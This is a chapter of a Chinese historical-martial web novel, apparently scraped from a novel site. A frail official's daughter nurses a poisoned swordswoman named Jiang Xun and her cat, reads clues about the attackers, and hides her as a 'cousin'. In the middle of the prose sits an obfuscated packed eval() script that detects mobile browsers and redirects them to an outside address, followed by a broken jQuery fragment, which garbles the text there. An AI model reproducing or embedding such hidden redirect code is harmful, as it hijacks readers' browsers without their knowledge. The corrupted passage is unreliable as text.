默认冷灰
24号文字
方正启体

2. 家道中落而来投亲的表小姐

作者:涵雪JX本书字数:K更新时间:
    天光微熹时,林清晚醒了。


    她睡眠向来很浅,一点动静便会惊醒。睁开眼,首先映入眼帘的,是贵妃榻上那个依旧昏迷的黑衣女子,然后是蜷在她枕边,发出细小呼噜声的橘猫“阿橘”。


    那女子脸色比昨夜好了些,嘴唇不再泛着中毒的青紫色,只是眉头依旧紧锁,仿佛在梦中也不得安宁。


    右手松开了,那几根猫毛落在榻边。左手的短刃,却仍被下意识地握在掌心。


    林清晚悄无声息地起身,走到榻边,伸手探了探她的额温。


    有点烫,但不算高热,是受伤后的正常反应。她又看了看包扎好的肩头,没有渗血,药效看来不错。


    “阿橘”似乎感觉到了动静,耳朵动了动,睁开琥珀色的眼睛,看到林清晚,细声细气地“喵”了一声,挣扎着想起身。


    林清晚轻轻按住它,检查了后腿的包扎,也没有问题。


    她正思忖着如何处理这个“烫手山芋”,榻上的人睫毛忽然颤了颤,缓缓睁开了眼睛。


    那是一双怎样的眼睛?


    初醒时带着一丝茫然的雾气,随即迅速变得清明、锐利,像雪山上经年不化的冰,又像磨砺过的寒刃,瞬间锁定了近在咫尺的林清晚。


    警惕、审视、评估……种种情绪在那双深褐色的眸子里飞快闪过,最后沉淀为一种近乎漠然的冷静。


    她没有动,甚至没有试图坐起,只是静静地看着林清晚,仿佛在评估眼前这个脸色苍白、弱不禁风的世家小姐,究竟有多大的威胁。


    林清晚也看着她,目光平静无波,既无惊吓,也无好奇,只是淡淡地开口,声音带着晨起时特有的微哑,却依旧清泠:


    “你肩上的伤,毒已经解了。伤口很深,需静养几日。”


    黑衣女子似乎没料到是这样的开场白,眼中闪过一丝极细微的诧异。


    她缓缓地、许试探性地动了动左肩,剧痛让她额角渗出冷汗,但那种令人麻痹无力的滞涩感确实消失了。


    她沉默片刻,终于开口,声音因为干渴和虚弱而有些沙哑,却有种玉石相击般的质地:“你救了我?”


    “算是。”林清晚走到桌边,倒了一杯温水递过去,“你的猫,也在我这里。”


    听到“猫”字,黑衣女子的眼神瞬间变了,锐利的审视中,掺入了一丝难以掩饰的急切:“阿橘?”


    “后腿受伤,已经包扎好了,无碍。”林清晚示意她看枕边。


    黑衣女子顺着她的目光看去,见到那团熟悉的橘色毛球,紧绷的身体线条明显放松了些许。


    她试图坐起,却牵动了伤口,闷哼一声,脸色又白了几分。


    “别动了。”林清晚将水杯放到她手边的小几上,“你失了不少血,又中了毒,至少三天内不宜妄动。”


    黑衣女子没有去拿水杯,只是看着她,目光重新变得锐利:“你是谁?这里是什么地方?”


    “我叫林清晚。这里是临安城林府,我父亲的宅邸。”林清晚在她对面的绣墩上坐下,姿态娴静,仿佛只是在招待一位寻常的客人,“你呢?”


    黑衣女子沉默了片刻,似乎在权衡。窗外,清晨的鸟鸣声清脆地传来,衬得室内更加寂静。


    “江寻。”她最终吐出两个字,简洁干脆,“一个过路的。”


    “过路的?”


    林清晚眉梢几不可察地动了一下,目光掠过她手边的短刃、腰间的异域水壶、以及靴底干涸的奇特泥印。


    “带着南海蓝焰砂的标记,中了北地黑蝎的毒,穿着西疆样式的皮靴……江姑娘这路,过得可真是天南海北。”


    江寻瞳孔骤然收缩!


    她死死盯住林清晚,方才刻意收敛的气势,此刻不受控制地一丝丝泄露出。


    那是真正经历过生死搏杀、行走在刀锋之上的人,才会有的凛冽寒意。这种感觉弥漫开来,连空气似乎都冷了几分。


    枕边的阿橘不安地动了动,发出一声呜咽。


    林清晚却恍若未觉,只是抬手拢了拢耳边的碎发,动作优雅从容。晨光透过窗纱,在她苍白的脸颊上投下柔和的光晕,越发显得她柔弱无害。


    可偏偏是这样一个看似风吹就倒的闺阁小姐,一口道破了她身上最关键的几个秘密。


    “你怎么知道蓝焰砂?又怎么认得黑蝎的毒?”江寻的声音压得极低,每个字都像是从齿缝里挤出来的,带着冰冷的探究。


    “久病成医,看过几本杂书罢了。”


    林清晚的回答滴水不漏,神色平静得像在讨论今天的天气,“江姑娘不必紧张。我若对你有恶意,昨晚便不会救你,更不会费力解那黑蝎之毒。”


    江寻审视着她,似乎在判断这句话的真伪。


    良久,那逼人的气势缓缓收敛,但眼中的警惕并未减少分毫。“你想要什么?”


    “我什么也不要。”林清晚摇摇头,“只是,林府是清静之地,我父亲是朝廷命官,家风严谨。江姑娘伤势稍好后,还请自行离去,莫要带来不必要的麻烦。你我就当做没见过。”


    这话说得客气,意思却很明白:救你是顺手,但不想惹祸上身。


    江寻听懂了。她扯了扯嘴角,似乎想笑,却又因疼痛而变成了一个有些古怪的表情。“放心,我不会连累你。伤好即走。”


    “如此甚好。”林清晚站起身。


    “你且休息,我会让丫鬟送些清淡的吃食和换洗衣物过来。对外,我只说你是远房表亲,来府中小住养病,莫要露了破绽。”


    “等等。”江寻叫住她,目光复杂地看了一眼枕边的阿橘,“它……谢谢你。”


    “不必,举手之劳。”林清晚走到门边,又停住脚步,没有回头,声音清淡地飘来——


    “追杀你的人,用的是制式横刀,刀法刚猛,劈砍为主,应是军中出身,或者曾是军中之人。他们用的毒,是北地边军审讯俘虏时常用的‘蝎吻’,并非见血封喉的剧毒。江姑娘,你惹上的麻烦,恐怕不小。”


    ……


    说完,她轻轻推门出去,留下江寻一个人,僵在榻上,眼中翻涌着惊涛骇浪。


    这个林清晚……她究竟是谁?!


    仅仅从伤口和残留的毒,就能推断出这么多?而且如此精准!


    江寻的后背,渗出冷汗。


    她行走江湖多年,深入大漠,远航海岛,什么奇人异事没见过?可像林清晚这样,身处深闺,看似弱不禁风,却眼力毒辣、心思缜密到如此地步的女子,她也是第一次见。


    她下意识地握紧了手中的短刃。冰凉的触感,让她纷乱的心绪稍微镇定下来。


    无论如何,现在最重要的是养好伤。这里,似乎暂时是安全的。


    她侧过头,看着枕边呼吸平稳的阿橘,伸出没有受伤的右手,极其轻柔地摸了摸它的小脑袋。


    阿橘闻到了熟悉的气息,蹭了蹭她的手指,喉咙里发出满足的呼噜声。


    江寻冷硬的嘴角,几不可察地软化了一丝。


    门外,林清晚并未走远。她站在廊下,晨风拂动她月白色的衣裙,像是一株随时会随风而去的玉兰。


    青杏端着铜盆和布巾走过来,看到她站在门外,有些惊讶:“小姐,您怎么这么早就起了?脸色不太好,可是昨夜没睡安稳?”


    她说着,下意识地想往屋里看。


    “无妨。”林清晚侧身挡住她的视线,接过铜盆,“表小姐还没醒,让她多睡会儿。去准备些清粥小菜,再找两套我未曾上过身的素净衣裙,尺寸……按比我略高、肩稍宽的来准备。”


    “表小姐?”青杏一愣,林家哪来的表小姐?她自幼跟在林清晚身边,对林家亲眷了如指掌。


    “是母亲那边一位远房姨母的女儿,家道中落,来投亲的。昨夜才到,身子有些不适,我便让她在我这里歇下了。”


    林清晚面不改色地撒着谎,语气平静自然,“此事莫要声张,尤其不要惊动父亲母亲。表小姐喜静,也不愿多见人,饮食起居就在清漪院,你亲自照料。”


    青杏虽满心疑惑,但见小姐神色认真,不似玩笑,更不敢多问,只低头应道:“是,奴婢明白了。”


    “去吧。”林清晚端着水盆,转身又推门进了屋。


    屋内,江寻已经挣扎着半坐起来,靠着软枕,正望着窗外发呆。


    听到动静,她立刻转过头,眼神又恢复了那种警觉的锐利。


    “你的丫鬟?”


    “嗯,她叫青杏,我贴身的人,信得过。”林清晚将水盆放在架子上,绞了帕子递过去,“擦把脸吧。”


    江寻迟疑了一下,还是接过温热的布巾。


    布巾上带着淡淡的、清雅的梅花香气,与她惯常闻到的风沙、血腥、汗水的气味截然不同。她胡乱擦了擦脸和手,感觉精神稍振。


    “你的伤,每日需换一次药。”


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17391783|200315||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    林清晚从药箱里拿出一个白瓷瓶,“这是生肌散,晚上我会再来帮你换。这期间,尽量不要动用左臂,更不可与人动手。”


    江寻点了点头,忽然问道:“你父亲是礼部侍郎林如海?”


    “你认得家父?”


    “林侍郎清名在外,略有耳闻。”江寻淡淡道,眼中却闪过一丝几不可察的复杂神色。


    林清晚敏锐地捕捉到了这一丝异样,却没有追问,只是淡淡开口:“既如此,你更应该知道林府不宜卷入是非。江姑娘,不管你因何被追杀,在此养伤期间,还请安分守己,莫要生事。”


    江寻抬眼,直视着林清晚:“我答应的事,从不反悔。”


    两人目光相对,一者平静如水,一者锐利如冰,在晨光中对峙了片刻。


    最终,是林清晚先移开了视线。“如此最好。你先休息,早膳稍后送来。”


    她将干净衣物放在榻边,又检查了一下阿橘的伤势,便转身离开了内室,去了外间书房。


    江寻看着那抹纤细柔弱的背影消失在屏风后,又低头看了看自己肩上包扎得整齐妥帖的伤口,还有手边那瓶触手生温的白瓷药瓶,眼神晦暗不明。


    这位林大小姐,实在太过不同寻常。


    她闭上眼,昨夜遇袭的情景在脑海中一一闪过——


    对方人数众多,训练有素,配合默契,出手狠辣,目的明确就是要活捉她。


    她且战且退,好不容易才利用对地形的熟悉甩掉大部分追兵,却被其中一人的刀锋扫中肩头。蝎毒发作很快,她拼着最后一丝清明,翻入这看似高门大户的院墙,隐约记得撞到了一团毛茸茸的东西,隐约觉得是只猫,之后便失去了意识。


    没想到,竟被这样一位闺阁小姐所救,还一眼看破了她身上存在的诸多隐秘。


    是巧合,还是有意?


    若是后者……


    江寻的手指,无意识地摩挲着短刃的柄。那冰凉的触感,让她纷乱的心绪渐渐沉静下来……


    无论如何,兵来将挡,水来土掩。当务之急,是尽快恢复。


    她重新躺下,闭上眼,强迫自己休息。


    常年行走在危险边缘养成的习惯,让她能迅速抓住任何恢复体力的机会。


    外间书房,林清晚坐在书案后,面前摊着一本《南华经》,目光却落在虚空中。


    江寻……这个名字很陌生。但她身上的疑点太多了。


    蓝焰砂是南海“听涛阁”追踪高手的独门标记,听涛阁拿钱办事,在江湖和朝堂的灰色地带游走,名声复杂。


    黑蝎毒是北境军方流传出来的方子,虽不算绝密,但寻常江湖人也难以弄到。


    还有那靴子,那短刃的形制……


    这个女子牵扯的,恐怕不仅仅是江湖恩怨那么简单。


    更让她在意的是,江寻听到父亲名字时,那一闪而逝的异样。


    父亲林如海,官声清廉,为人方正,是朝中有名的“老古板”,向来不参与党争,只埋头礼部事务。


    他会和这样一个身负秘密、被多方追杀的江湖女子,产生什么关联吗?


    林清晚轻轻按了按太阳穴。她身体不好,思虑过甚便会头疼。


    父亲常说,女儿家只需娴静贞雅,读书只为怡情养性,不必理会外间纷扰。母亲更是将她如珠如宝地护着,生怕她受一点风吹草动。


    可不知从何时起,她已不再是那个只能躲在深闺、对着一方天地发呆的病弱少女了。


    那些晦涩的医书毒经,那些光怪陆离的江湖异闻,那些被父亲斥为“杂学”“小道”的东西,早已为她打开了另一扇窗,让她看到了这个世界截然不同的、暗流汹涌的一面。


    如今,这暗流,似乎正以一只猫、一个受伤女子的形式,悄然漫入了她的院墙。


    “小姐,早膳备好了。”青杏的声音在门外响起。


    林清晚收回思绪,恢复了惯常的平静神色。“送进来吧,一份送到内室给表小姐,一份摆在外间即可。”


    “是。”


    早膳很简单,碧粳米粥,几样清淡小菜,还有一笼水晶虾饺。林清晚只用了小半碗粥,便搁下了筷子。


    内室很安静,江寻似乎也吃完了。


    林清晚走到窗边,推开支摘窗。清晨湿润的空气涌进来,带着泥土和花草的清新气息。池塘边的垂柳抽出嫩绿的新芽,几只燕子掠过水面,点开圈圈涟漪。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)